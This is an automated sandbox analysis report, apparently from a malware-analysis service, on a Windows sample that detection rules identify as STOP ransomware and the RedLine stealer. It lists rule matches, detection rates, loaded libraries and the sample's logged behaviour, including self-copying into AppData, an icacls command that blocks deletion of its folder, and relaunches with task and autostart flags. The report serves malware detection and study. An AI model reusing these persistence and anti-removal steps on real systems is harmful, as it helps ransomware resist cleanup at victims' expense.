Source: 0000000B.00000002.2290490694.000000000310E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.2058334723.0000000004BED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2134183161.0000000003299000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: Process Memory Space: 16oApcahEa.exe PID: 3792, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 6388, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 5068, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 6556, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 2380, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 5316, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 3560, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 5168, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 5892, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: 16oApcahEa.exe PID: 4368, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: 16oApcahEa.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 16oApcahEa.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@18/1341@8/2

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

2_2_00411900

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 0_2_04BED7C6 CreateToolhelp32Snapshot,Module32First,

0_2_04BED7C6

Source: C:\Users\user\Desktop\16oApcahEa.exe

Code function: 2_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

2_2_0040D240

Source: C:\Users\user\Desktop\16oApcahEa.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\geo[1].json

Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}

Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --ForNetRes	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsAutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsTask	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Task	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --AutoStart	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Service	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: X1P	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Admin	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: runas	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: x2Q	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: x*P	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: C:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: D:\Windows\	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: 7P	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: %username%	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: F:\	2_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Admin	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsAutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsTask	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --ForNetRes	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsAutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: IsTask	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Task	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --AutoStart	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Service	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: X1P	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: --Admin	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: runas	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: x2Q	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: x*P	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: C:\Windows\	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: D:\Windows\	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: 7P	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: %username%	6_2_00419F90
Source: C:\Users\user\Desktop\16oApcahEa.exe	Command line argument: F:\	6_2_00419F90

Source: C:\Users\user\Desktop\16oApcahEa.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\16oApcahEa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 16oApcahEa.exe	ReversingLabs: Detection: 92%
Source: 16oApcahEa.exe	Virustotal: Detection: 84%

Source: 16oApcahEa.exe	String found in binary or memory: set-addPolicy
Source: 16oApcahEa.exe	String found in binary or memory: id-cmc-addExtensions
Source: 16oApcahEa.exe	String found in binary or memory: set-addPolicy
Source: 16oApcahEa.exe	String found in binary or memory: id-cmc-addExtensions
Source: 16oApcahEa.exe	String found in binary or memory: set-addPolicy
Source: 16oApcahEa.exe	String found in binary or memory: id-cmc-addExtensions
Source: 16oApcahEa.exe	String found in binary or memory: set-addPolicy
Source: 16oApcahEa.exe	String found in binary or memory: id-cmc-addExtensions
Source: 16oApcahEa.exe	String found in binary or memory: set-addPolicy
Source: 16oApcahEa.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\16oApcahEa.exe

File read: C:\Users\user\Desktop\16oApcahEa.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe"
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe"
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: unknown	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe --Task	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Process created: C:\Users\user\Desktop\16oApcahEa.exe "C:\Users\user\Desktop\16oApcahEa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Process created: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart

Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
